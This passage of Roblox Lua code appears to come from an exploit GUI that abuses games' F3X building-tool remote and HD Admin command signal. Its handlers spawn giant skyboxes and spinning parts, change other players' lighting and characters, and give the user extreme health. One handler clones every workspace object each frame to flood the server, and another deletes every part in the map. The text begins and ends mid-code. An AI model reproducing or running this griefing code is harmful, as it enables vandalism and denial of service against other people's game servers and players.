				[1] = "SetLocked",
				[2] = { part },
				[3] = boolean
			}
			_(args)
		end

		function Sky(id) 
			local e = char.HumanoidRootPart.CFrame.x
			local f = char.HumanoidRootPart.CFrame.y
			local g = char.HumanoidRootPart.CFrame.z

			CreatePart(
				CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),
				workspace
			)

			for i,v in game.Workspace:GetDescendants() do
				if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then

					SetName(v,"Sky")
					AddMesh(v)

					SetMesh(v,"111891702759441")
					SetTexture(v,assetId) 

					MeshResize(v,Vector3.new(9000,9000,9000))

					SetLocked(v,true)
				end
			end
		end 

		Sky(assetId)

	end)

end;
task.spawn(C_15);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_17()
	local script = G2L["17"];
	local button = script.Parent
	local textbox = script.Parent.Parent:WaitForChild("nugget")

	button.MouseButton1Click:Connect(function()

		local decalId = textbox.Text
		if decalId == "" then return end

		local Players = game:GetService("Players")
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RunService = game:GetService("RunService")

		local player = Players.LocalPlayer
		local tool

		for _, obj in ipairs(player:GetDescendants()) do
			if obj.Name == "SyncAPI" then
				tool = obj.Parent
				break
			end
		end

		if not tool then
			for _, obj in ipairs(ReplicatedStorage:GetDescendants()) do
				if obj.Name == "SyncAPI" then
					tool = obj.Parent
					break
				end
			end
		end

		if not tool then return end
		local SyncAPI = tool:WaitForChild("SyncAPI")

		local part
		local baseCF
		local rotX, rotY, rotZ = 0, 0, 0
		local connection

		local function call(args)
			SyncAPI:Invoke(unpack(args))
		end

		local function CreatePart(cf, parent)
			call({ "CreatePart", "Normal", cf, parent })
		end

		local function SetAnchor(p, anchored)
			call({ "SyncAnchor", {{ Part = p, Anchored = anchored }} })
		end

		local function AddMesh(p)
			call({ "CreateMeshes", {{ Part = p }} })
		end

		local function SetMesh(p, meshId, textureId)
			call({
				"SyncMesh",
				{{
					Part = p,
					MeshId = "rbxassetid://" .. meshId,
					TextureId = "rbxassetid://" .. textureId
				}}
			})
		end

		local function ResizeMesh(p, size)
			call({ "SyncMesh", {{ Part = p, Scale = size }} })
		end

		local function SetTransparency(p, value)
			call({ "SyncTransparency", {{ Part = p, Transparency = value }} })
		end

		local function SyncRotate(cf)
			if not part or not part.Parent then return end
			call({ "SyncRotate", {{ Part = part, CFrame = cf }} })
		end

		local function Sky()
			local startCF = CFrame.new(0, 100, 0)
			CreatePart(startCF, workspace)

			task.wait()

			for _, obj in ipairs(workspace:GetDescendants()) do
				if obj:IsA("BasePart") and (obj.Position - startCF.Position).Magnitude < 0.1 then
					part = obj
					baseCF = part.CFrame

					SetAnchor(part, true)
					AddMesh(part)
					SetMesh(part, "111891702759441", decalId)
					ResizeMesh(part, Vector3.new(9000, 9000, 9000))
					SetTransparency(part, 0)

					local speedX = math.rad(50)
					local speedY = math.rad(50)
					local speedZ = math.rad(50)

					connection = RunService.Heartbeat:Connect(function(dt)
						if not part or not part.Parent then
							if connection then
								connection:Disconnect()
								connection = nil
							end
							return
						end

						rotX = (rotX + speedX * dt) % (math.pi * 2)
						rotY = (rotY + speedY * dt) % (math.pi * 2)
						rotZ = (rotZ + speedZ * dt) % (math.pi * 2)

						local cf = baseCF * CFrame.Angles(rotX, rotY, rotZ)
						SyncRotate(cf)
						part.CFrame = cf
					end)

					break
				end
			end
		end

		Sky()

	end)

end;
task.spawn(C_17);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_19()
	local script = G2L["19"];
	local button = script.Parent
	local textbox = script.Parent.Parent:WaitForChild("nugget")

	button.MouseButton1Click:Connect(function()

		local texId = textbox.Text
		if texId == "" then return end

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";fogcolor black ;unfog ;time 5.7")

		local player = game.Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()
		local tool

		for _,v in ipairs(player:GetDescendants()) do
			if v.Name == "SyncAPI" then
				tool = v.Parent
				break
			end
		end

		if not tool then
			for _,v in ipairs(game.ReplicatedStorage:GetDescendants()) do
				if v.Name == "SyncAPI" then
					tool = v.Parent
					break
				end
			end
		end

		if not tool then return end

		local remote = tool.SyncAPI.ServerEndpoint

		local function _(args)
			remote:InvokeServer(unpack(args))
		end

		local function CreatePart(cf,parent)
			_({"CreatePart","Normal",cf,parent})
		end

		local function SetName(part,name)
			_({"SetName",{part},name})
		end

		local function AddMesh(part)
			_({"CreateMeshes",{{Part=part}}})
		end

		local function SetMesh(part,id)
			_({"SyncMesh",{{Part=part,MeshId="rbxassetid://"..id}}})
		end

		local function SetTexture(part,id)
			_({"SyncMesh",{{Part=part,TextureId="rbxassetid://"..id}}})
		end

		local function MeshResize(part,size)
			_({"SyncMesh",{{Part=part,Scale=size}}})
		end

		local function SetVertexColor(part,vec)
			_({"SyncMesh",{{Part=part,VertexColor=vec}}})
		end

		local function SetLocked(part,bool)
			_({"SetLocked",{part},bool})
		end

		local function SetMaterial(part,mat)
			_({"SyncMaterial",{{Part=part,Material=mat}}})
		end

		local function SetCollision(part,bool)
			_({"SyncCollision",{{Part=part,CanCollide=bool}}})
		end

		local function CreatePointLight(part)
			_({"CreateLights",{{Part=part,LightType="PointLight"}}})
		end

		local function SyncPointLight(part,brightness,range)
			_({"SyncLighting",{{Part=part,LightType="PointLight",Brightness=brightness,Range=range}}})
		end

		local function Sky(texId)
			local pos = Vector3.new(0,100,0)

			CreatePart(CFrame.new(pos),workspace)

			for _,v in ipairs(workspace:GetDescendants()) do
				if v:IsA("BasePart")
					and not v:IsDescendantOf(char)
					and math.floor(v.Position.X) == 0
					and math.floor(v.Position.Y) == 100
					and math.floor(v.Position.Z) == 0 then

					SetName(v,"Sky")
					AddMesh(v)
					SetMesh(v,"111891702759441")
					SetTexture(v,texId)
					MeshResize(v,Vector3.new(60000,60000,60000))
					SetVertexColor(v,Vector3.new(2.5,2.5,2.5))
					SetMaterial(v,"Neon")
					SetCollision(v,false)
					CreatePointLight(v)
					SyncPointLight(v,5,8)
					SetLocked(v,true)
				end
			end
		end

		Sky(texId)

	end)

end;
task.spawn(C_19);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_1b()
	local script = G2L["1b"];
	local button = script.Parent
	local textbox = script.Parent.Parent:WaitForChild("nugget")

	button.MouseButton1Click:Connect(function()

		local textureId = textbox.Text
		if textureId == "" then return end

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";fogcolor black ;unfog ;time 5.7")

		local Players = game:GetService("Players")
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RunService = game:GetService("RunService")

		local player = Players.LocalPlayer
		local tool

		for _, obj in ipairs(player:GetDescendants()) do
			if obj.Name == "SyncAPI" then
				tool = obj.Parent
				break
			end
		end

		if not tool then
			for _, obj in ipairs(ReplicatedStorage:GetDescendants()) do
				if obj.Name == "SyncAPI" then
					tool = obj.Parent
					break
				end
			end
		end

		if not tool then return end
		local SyncAPI = tool:WaitForChild("SyncAPI")

		local part
		local baseCF
		local rotX, rotY, rotZ = 0, 0, 0
		local connection

		local function call(args)
			SyncAPI:Invoke(unpack(args))
		end

		local function CreatePart(cf, parent)
			call({ "CreatePart", "Normal", cf, parent })
		end

		local function SetAnchor(p, anchored)
			call({ "SyncAnchor", {{ Part = p, Anchored = anchored }} })
		end

		local function AddMesh(p)
			call({ "CreateMeshes", {{ Part = p }} })
		end

		local function SetMesh(p, meshId, textureId)
			call({
				"SyncMesh",
				{{
					Part = p,
					MeshId = "rbxassetid://" .. meshId,
					TextureId = "rbxassetid://" .. textureId
				}}
			})
		end

		local function ResizeMesh(p, size)
			call({ "SyncMesh", {{ Part = p, Scale = size }} })
		end

		local function SetTransparency(p, value)
			call({ "SyncTransparency", {{ Part = p, Transparency = value }} })
		end

		local function SetMaterial(p, mat)
			call({ "SyncMaterial", {{ Part = p, Material = mat }} })
		end

		local function SetVertexColor(p, vec)
			call({ "SyncMesh", {{ Part = p, VertexColor = vec }} })
		end

		local function CreatePointLight(p)
			call({ "CreateLights", {{ Part = p, LightType = "PointLight" }} })
		end

		local function SyncPointLight(p, brightness, range)
			call({
				"SyncLighting",
				{{
					Part = p,
					LightType = "PointLight",
					Brightness = brightness,
					Range = range
				}}
			})
		end

		local function SyncRotate(cf)
			if not part or not part.Parent then return end
			call({ "SyncRotate", {{ Part = part, CFrame = cf }} })
		end

		local function Sky()
			local startCF = CFrame.new(0, 100, 0)
			CreatePart(startCF, workspace)

			task.wait()

			for _, obj in ipairs(workspace:GetDescendants()) do
				if obj:IsA("BasePart") and (obj.Position - startCF.Position).Magnitude < 0.1 then
					part = obj
					baseCF = part.CFrame

					SetAnchor(part, true)
					AddMesh(part)
					SetMesh(part, "111891702759441", textureId)
					ResizeMesh(part, Vector3.new(60000, 60000, 60000))
					SetVertexColor(part, Vector3.new(2.5, 2.5, 2.5))
					SetMaterial(part, "Neon")
					SetTransparency(part, 0)

					CreatePointLight(part)
					SyncPointLight(part, 5, 8)

					local speedX = math.rad(50)
					local speedY = math.rad(50)
					local speedZ = math.rad(50)

					connection = RunService.Heartbeat:Connect(function(dt)
						if not part or not part.Parent then
							if connection then
								connection:Disconnect()
								connection = nil
							end
							return
						end

						rotX = (rotX + speedX * dt) % (math.pi * 2)
						rotY = (rotY + speedY * dt) % (math.pi * 2)
						rotZ = (rotZ + speedZ * dt) % (math.pi * 2)

						local cf = baseCF * CFrame.Angles(rotX, rotY, rotZ)
						SyncRotate(cf)
						part.CFrame = cf
					end)

					break
				end
			end
		end

		Sky()

	end)

end;
task.spawn(C_1b);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_1d()
	local script = G2L["1d"];
	--elv4r0x did this, credits to him!!

	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")

	local button = script.Parent
	local player = Players.LocalPlayer

	button.MouseButton1Click:Connect(function()

		local char = player.Character or player.CharacterAdded:Wait()
		local hum = char:WaitForChild("Humanoid")

		local torso = char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso")
		if not torso then return end

		local larm = char:FindFirstChild("Left Arm") or char:FindFirstChild("LeftUpperArm")
		local rarm = char:FindFirstChild("Right Arm") or char:FindFirstChild("RightUpperArm")
		if not larm or not rarm then return end

		local tool = char:FindFirstChildOfClass("Tool")
		if not tool then
			for _, v in ipairs(player.Backpack:GetChildren()) do
				if v:IsA("Tool") then
					tool = v
					break
				end
			end
		end

		if tool then
			hum:EquipTool(tool)
			task.wait()
			hum:UnequipTools()
		end

		local server = tool
			and tool:FindFirstChild("SyncAPI")
			and tool.SyncAPI:FindFirstChild("ServerEndpoint")

		local idleAngles = Vector3.new(0,0,math.rad(-90))
		local flapAmplitude = Vector3.new(0, 0, math.rad(40))
		local flapSpeed = 14

		RunService.RenderStepped:Connect(function()

			local time = tick()
			local flapX = math.sin(time * flapSpeed) * flapAmplitude.X
			local flapY = math.sin(time * flapSpeed * 0.8) * flapAmplitude.Y
			local flapZ = math.sin(time * flapSpeed * 0.6) * flapAmplitude.Z

			local targetL
			local targetR

			if hum.MoveDirection.Magnitude == 0 then  
				targetL = torso.CFrame * CFrame.new(-1.9,0.5,0) * CFrame.Angles(idleAngles.X, idleAngles.Y, idleAngles.Z)  
				targetR = torso.CFrame * CFrame.new(1.9,0.5,0) * CFrame.Angles(-idleAngles.X, -idleAngles.Y, -idleAngles.Z)  
			else  
				targetL = torso.CFrame * CFrame.new(-1.9,0.5,0) * CFrame.Angles(flapX, flapY, idleAngles.Z + flapZ)  
				targetR = torso.CFrame * CFrame.new(1.9,0.5,0) * CFrame.Angles(-flapX, -flapY, -idleAngles.Z - flapZ)  
			end  

			larm.CFrame = targetL
			rarm.CFrame = targetR

			if server then
				server:InvokeServer("SyncMove", {{Part = larm, CFrame = larm.CFrame}})
				server:InvokeServer("SyncMove", {{Part = rarm, CFrame = rarm.CFrame}})
			end

		end)

	end)

end;
task.spawn(C_1d);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.ImageLabel.LocalScript
local function C_1f()
	local script = G2L["1f"];
	local imageLabel = script.Parent
	local textbox = imageLabel.Parent:WaitForChild("nugget")

	local function updateImage()
		local id = textbox.Text

		if id ~= "" then

			if not string.find(id, "rbxassetid://") then
				id = "rbxassetid://" .. id
			end

			imageLabel.Image = id
		end
	end


	textbox:GetPropertyChangedSignal("Text"):Connect(updateImage)


	updateImage()

end;
task.spawn(C_1f);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_22()
	local script = G2L["22"];
	--made by myself, NO ONE ELSE!!!!

	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local Players = game:GetService("Players")
		local RunService = game:GetService("RunService")

		local player = Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()

		local tool
		for _, v in ipairs(player:GetDescendants()) do
			if v.Name == "SyncAPI" then
				tool = v.Parent
				break
			end
		end

		if not tool then
			for _, v in ipairs(game.ReplicatedStorage:GetDescendants()) do
				if v.Name == "SyncAPI" then
					tool = v.Parent
					break
				end
			end
		end

		if not tool then return end

		local remote = tool.SyncAPI.ServerEndpoint

		local head = char:WaitForChild("Head")
		local headMesh = head:FindFirstChildWhichIsA("SpecialMesh")
		if not headMesh then return end

		local hats = {}
		for _, acc in ipairs(char:GetChildren()) do
			if acc:IsA("Accessory") and acc:FindFirstChild("Handle") then
				local mesh = acc.Handle:FindFirstChildWhichIsA("SpecialMesh")
				if mesh then
					table.insert(hats, {Part = acc.Handle, MeshId = mesh.MeshId})
				end
			end
		end

		local t = 0

		RunService.RenderStepped:Connect(function(dt)
			t += dt * 6
			local offset = math.sin(t) * 0.7

			local partsToSync = {
				{Part = head, MeshId = headMesh.MeshId, Offset = Vector3.new(offset, 0, 0)}
			}

			for _, h in ipairs(hats) do
				table.insert(partsToSync, {Part = h.Part, MeshId = h.MeshId, Offset = Vector3.new(offset, 0, 0)})
			end

			remote:InvokeServer("SyncMesh", partsToSync)
		end)

	end)

end;
task.spawn(C_22);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_24()
	local script = G2L["24"];
	--found by me so idk who made dis

	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")

	local button = script.Parent
	local player = Players.LocalPlayer

	button.MouseButton1Click:Connect(function()

		local player = game.Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()
		local humanoid = char:WaitForChild("Humanoid")
		local animation = Instance.new("Animation")

		animation.AnimationId = "rbxassetid://27432686"

		local animTrack1 = humanoid:LoadAnimation(animation)
		animTrack1.Priority = Enum.AnimationPriority.Idle

		animTrack1:Play()
		animTrack1:AdjustSpeed(0)

		local animation = Instance.new("Animation")
		animation.AnimationId = "rbxassetid://183695923"

		local animTrack = humanoid:LoadAnimation(animation)
		animTrack.Priority = Enum.AnimationPriority.Idle
		animTrack.Looped = true

		local walking = false

		humanoid.Running:Connect(function(speed)
			walking = speed > 1

			if walking and not animTrack.IsPlaying then
				animTrack:Play()
				animTrack1:Stop()
			end

			if not walking and animTrack.IsPlaying then
				animTrack:Stop()
				animTrack1:Play()
				animTrack1:AdjustSpeed(0)
			end
		end)

		spawn(function()
			while true do
				if walking then
					animTrack:AdjustSpeed(3)
					wait(0.3)
					animTrack:AdjustSpeed(-3)
					wait(0.3)
				else
					wait(0.1)
				end
			end
		end)

	end)

end;
task.spawn(C_24);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_26()
	local script = G2L["26"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local Players = game:GetService("Players")
		local RunService = game:GetService("RunService")
		local ReplicatedStorage = game:GetService("ReplicatedStorage")

		local player = Players.LocalPlayer

		local function getChar()
			local char = player.Character or player.CharacterAdded:Wait()
			return char, char:WaitForChild("HumanoidRootPart")
		end

		local tool
		for _,v in ipairs(player:GetDescendants()) do
			if v.Name == "SyncAPI" then
				tool = v.Parent
				break
			end
		end

		if not tool then
			for _,v in ipairs(ReplicatedStorage:GetDescendants()) do
				if v.Name == "SyncAPI" then
					tool = v.Parent
					break
				end
			end
		end

		if not tool then return end

		local remote = tool.SyncAPI.ServerEndpoint

		local function _(args)
			remote:InvokeServer(unpack(args))
		end

		local function CreatePart(cf,parent)
			_( {"CreatePart","Ball",cf,parent} )
		end

		local function MovePart(part,cf)
			_( {"SyncMove",{ {Part=part, CFrame=cf} } } )
		end

		local function Resize(part,size,cf)
			_( {"SyncResize",{ {Part=part, Size=size, CFrame=cf} } } )
		end

		local function SetAnchor(bool,part)
			_( {"SyncAnchor",{ {Part=part, Anchored=bool} } } )
		end

		local function SetCollision(part,bool)
			_( {"SyncCollision",{ {Part=part, CanCollide=bool} } } )
		end

		local function SetName(part,name)
			_( {"SetName",{part},name} )
		end

		local function Color(part,color)
			_( {"SyncColor",{ {Part=part, Color=color, UnionColoring=false} } } )
		end

		local function AddFire(part, size, color, color2, heat)

			_( {
				"CreateDecorations",
				{
					{
						Part = part,
						DecorationType = "Fire"
					}
				}
			})

			_( {
				"SyncDecorate",
				{
					{
						Part = part,
						DecorationType = "Fire",
						Size = size,
						Heat = heat,
						Color = color,
						SecondaryColor = color2
					}
				}
			})

		end

		local orbitConnection

		local function createOrbitBall()

			local char, hrp = getChar()

			local radius = 5
			local verticalAmplitude = 3
			local speed = math.rad(100)
			local angle = 0

			local initialCF = hrp.CFrame * CFrame.new(radius, -0.1, 0)

			CreatePart(initialCF, workspace)

			local ball

			repeat task.wait()
				for _,v in ipairs(workspace:GetDescendants()) do
					if v:IsA("BasePart") and (v.Position - initialCF.Position).Magnitude < 0.1 then
						ball = v
						break
					end
				end
			until ball

			SetName(ball,"Hello everyone my name is welcome")
			Resize(ball, Vector3.new(0.9,0.9,0.9), initialCF)
			Color(ball, Color3.new(0,0,0))
			SetAnchor(true, ball)
			SetCollision(ball, false)

			AddFire(ball, 0.5, Color3.new(0,0,0), Color3.new(0,0,0), 15)

			if orbitConnection then
				orbitConnection:Disconnect()
			end

			orbitConnection = RunService.Heartbeat:Connect(function(dt)

				if not hrp.Parent then return end

				angle = angle + dt * speed

				local x = math.cos(angle) * radius
				local z = math.sin(angle) * radius
				local y = 2 + math.sin(angle*2) * verticalAmplitude

				local pos = hrp.Position + Vector3.new(x,y,z)

				local lookDir = Vector3.new(
					-math.sin(angle),
					math.cos(angle*2)*0.1,
					math.cos(angle)
				)

				local newCF = CFrame.new(pos, pos + lookDir)

				MovePart(ball, newCF)

			end)

		end

		createOrbitBall()

		player.CharacterAdded:Connect(function()
			task.wait(1)
			createOrbitBall()
		end)

	end)
end;
task.spawn(C_26);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_28()
	local script = G2L["28"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()
		local player = game.Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()

		local tool

		for i, v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
				break
			end
		end

		for i, v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
				break
			end
		end

		if not tool then return end

		local remote = tool.SyncAPI.ServerEndpoint

		local function _(args)
			remote:InvokeServer(unpack(args))
		end

		function CreatePart(cf, parent, types)
			local args = {
				[1] = "CreatePart",
				[2] = types or "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end

		function Resize(part, size, cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end

		function MovePart(part, cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end

		function Color(part, color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color,
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end

		function SetShape(part, shape)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Shape"] = shape
					}
				}
			}
			_(args)
		end

		function SetCollision(part, boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end

		function SetLocked(part, boolean)
			local args = {
				[1] = "SetLocked",
				[2] = { [1] = part },
				[3] = boolean
			}
			_(args)
		end


		local padPos = char.HumanoidRootPart.CFrame * CFrame.new(0, -3.5, 0)
		CreatePart(padPos, workspace, "Cylinder")
		task.wait(0.1)

		local floatingPad

		for i, v in workspace:GetChildren() do
			if v:IsA("BasePart")
				and (v.CFrame.Position - padPos.Position).Magnitude < 5
				and not v.Parent:FindFirstChild("Humanoid")
			then
				floatingPad = v

				Resize(floatingPad, Vector3.new(0.5, 8, 8), padPos * CFrame.Angles(0, 0, math.rad(90)))
				Color(floatingPad, Color3.fromRGB(107, 50, 124))
				SetCollision(floatingPad, true)
				SetLocked(floatingPad, true)

				break
			end
		end

		if floatingPad then
			local RunService = game:GetService("RunService")

			RunService.Heartbeat:Connect(function()
				pcall(function()
					if char and char:FindFirstChild("HumanoidRootPart") then
						local targetPos = char.HumanoidRootPart.CFrame * CFrame.new(0, -3.5, 0)
						MovePart(floatingPad, targetPos * CFrame.Angles(0, 0, math.rad(90)))
					end
				end)
			end)
		end


	end)

end;
task.spawn(C_28);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_2a()
	local script = G2L["2a"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		function nob(who,tra,hat)
			c=who.Character
			pcall(function()u=c["Body Colors"]
				u.HeadColor=BrickColor.new("Black")
				u.LeftLegColor=BrickColor.new("Black")
				u.RightLegolor=BrickColor.new("Black")
				u.LeftArmColor=BrickColor.new("Black")
				u.TorsoColor=BrickColor.new("Black")
				u.RightArmColor=BrickColor.new("Black")
			end)
			pcall(function()c.Shirt:Destroy() c.Pants:Destroy() end)
			for i,v in pairs(c:GetChildren()) do
				if v:IsA("BasePart") then
					v.Transparency=tra
					if v.Name=="HumanoidRootPart" or v.Name=="Head" then
						v.Transparency=1
					end
					wait()
					v.BrickColor=BrickColor.new("Black")
				elseif v:IsA("Hat") then
					v:Destroy()
				end
			end
			xx=game:service("InsertService"):LoadAsset(hat)
			xy=game:service("InsertService"):LoadAsset(47433)["LinkedSword"]
			xy.Parent=who.Backpack
			for a,hat in pairs(xx:children()) do
				hat.Parent=c
			end
			xx:Destroy()
			h=who.Character.Humanoid
			h.MaxHealth=50000
			wait(1.5)
			h.Health=50000
			h.WalkSpeed=32
		end
		nob(game.Players.LocalPlayer,0.6,21070012)

	end)

end;
task.spawn(C_2a);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_2c()
	local script = G2L["2c"];
	local button = script.Parent
	local player = game.Players.LocalPlayer

	button.MouseButton1Click:Connect(function()
		local char = player.Character or player.CharacterAdded:Wait()
		local humanoid = char:WaitForChild("Humanoid")

		humanoid.WalkSpeed = 50
	end)

end;
task.spawn(C_2c);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_2e()
	local script = G2L["2e"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local Players = game:GetService("Players")
		local ReplicatedStorage = game:GetService("ReplicatedStorage")

		local player = Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()

		local tool
		for _, v in ipairs(player:GetDescendants()) do
			if v.Name == "SyncAPI" then
				tool = v.Parent
				break
			end
		end

		if not tool then
			for _, v in ipairs(ReplicatedStorage:GetDescendants()) do
				if v.Name == "SyncAPI" then
					tool = v.Parent
					break
				end
			end
		end

		if not tool then return end

		local remote = tool.SyncAPI.ServerEndpoint

		local function invoke(args)
			remote:InvokeServer(unpack(args))
		end

		local presets = {
			"Bright red",
			"Bright yellow",
			"Bright orange",
			"Bright violet",
			"Bright blue",
			"Bright bluish green",
			"Bright green"
		}

		local running = true

		task.spawn(function()
			while running and player.Parent do
				task.wait(0.5)

				char = player.Character
				if not char then continue end

				local function randomColor()
					return BrickColor.new(presets[math.random(1,#presets)]).Color
				end

				invoke({
					"SyncColor",
					{
						{Color=randomColor(), Part=char:FindFirstChild("Head"), UnionColoring=true},
						{Color=randomColor(), Part=char:FindFirstChild("HumanoidRootPart"), UnionColoring=true},
						{Color=randomColor(), Part=char:FindFirstChild("Left Arm") or char:FindFirstChild("LeftUpperArm"), UnionColoring=true},
						{Color=randomColor(), Part=char:FindFirstChild("Right Leg") or char:FindFirstChild("RightUpperLeg"), UnionColoring=true},
						{Color=randomColor(), Part=char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso"), UnionColoring=true},
						{Color=randomColor(), Part=char:FindFirstChild("Right Arm") or char:FindFirstChild("RightUpperArm"), UnionColoring=true},
						{Color=randomColor(), Part=char:FindFirstChild("Left Leg") or char:FindFirstChild("LeftUpperLeg"), UnionColoring=true}
					}
				})

			end
		end)

	end)

end;
task.spawn(C_2e);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_30()
	local script = G2L["30"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")

		local Players = game:GetService("Players")
		local workspace = game:GetService("Workspace")
		local player = Players.LocalPlayer

		local function findTool()
			local char = player.Character or player.CharacterAdded:Wait()

			for _, v in ipairs(char:GetChildren()) do
				if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then
					return v
				end
			end

			for _, v in ipairs(player.Backpack:GetChildren()) do
				if v:IsA("Tool") and v:FindFirstChild("SyncAPI") then
					return v
				end
			end
		end

		local tool = findTool()
		if not tool then return end

		local remote = tool.SyncAPI.ServerEndpoint
		local function call(a)
			return remote:InvokeServer(unpack(a))
		end

		for _, stupidguy in ipairs(workspace:GetDescendants()) do


			task.spawn(function()
				call({ "CreateMeshes", { { Part = stupidguy } } })
			end)

			task.spawn(function()
				call({
					"SyncMesh",
					{{
						Part = stupidguy,
						MeshId = "rbxassetid://12902786354",
					}}
				})
			end)
			game:GetService("RunService").Heartbeat:Connect(function()
				local clonething = {
					[1] = "Clone",
					[2] = {
						[1] = stupidguy
					},
					[3] = game.Workspace
				}

				remote:InvokeServer(unpack(clonething))

			end)
		end
	end)
end;
task.spawn(C_30);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
local function C_32()
	local script = G2L["32"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()

		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommandSilent = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommandSilent:InvokeServer(";time 14")

		local Players = game:GetService("Players")
		local player = Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()
		local backpack = player:WaitForChild("Backpack")

		local character = char
		local storedCharacter = character
		local originalParent = storedCharacter.Parent
		storedCharacter.Parent = nil

		local function getf3x()
			for _, v in ipairs(backpack:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then return v end
			end
			for _, v in ipairs(char:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then return v end
			end
			return nil
		end

		local f3x = getf3x()
		if not f3x then
			warn("you dont have f3x skid")
			return
		end

		local syncapi = f3x.SyncAPI
		local serverendpoint = syncapi.ServerEndpoint

		local function _(args)
			serverendpoint:InvokeServer(unpack(args))
		end

		local function delete(part)
			local args = {
				[1] = "Remove",
				[2] = { [1] = part }
			}
			serverendpoint:InvokeServer(unpack(args))
		end

		local function deleteall()
			for _, v in ipairs(workspace:GetDescendants()) do
				if v:IsA("BasePart") or v:IsA("UnionOperation") then
					task.spawn(function()
						delete(v)
					end)
				end
			end
		end

		deleteall()

		local function resize(part, size, cf)
			local args = {
				"SyncResize",
				{
					{
						Part = part,
						CFrame = cf,
						Size = size
					}
				}
			}
			_(args)
		end

		local function setanchor(part, boolean)
			local args = {
				"SyncAnchor",
				{
					{
						Part = part,
						Anchored = boolean
					}
				}
			}
			_(args)
		end

		local function setcollision(part, booleana)
			local args = {
				"SyncCollision",
				{
					{
						Part = part,
						CanCollide = booleana
					}
				}
			}
			_(args)
		end

		local function color(part, color)
			local args = {
				"SyncColor",
				{
					{
						Part = part,
						Color = color,
						UnionColoring = false
					}
				}
			}
			_(args)
		end

		local function name(part, stringa)
			local args = {
				"SetName",
				{ part },
				stringa
			}
			_(args)
		end

		local function lock(part, boolean)
			local args = {
				"SetLocked",
				{ part },
				boolean
			}
			_(args)
		end

		function toptexturecreate(part)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = Enum.NormalId.Top,
						["TextureType"] = "Texture"
					}
				}
			}
			_(args)
		end

		function toptextureadd(part)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = Enum.NormalId.Top,
						["TextureType"] = "Texture",
						["Texture"] = "rbxassetid://84097650395160",
						["StudsPerTileV"] = 2,
						["StudsPerTileU"] = 2
					}
				}
			}
			_(args)
		end


		function addspawndecal(part)

			local args = {
				[1] = "CreateTextures",
				[2] = {
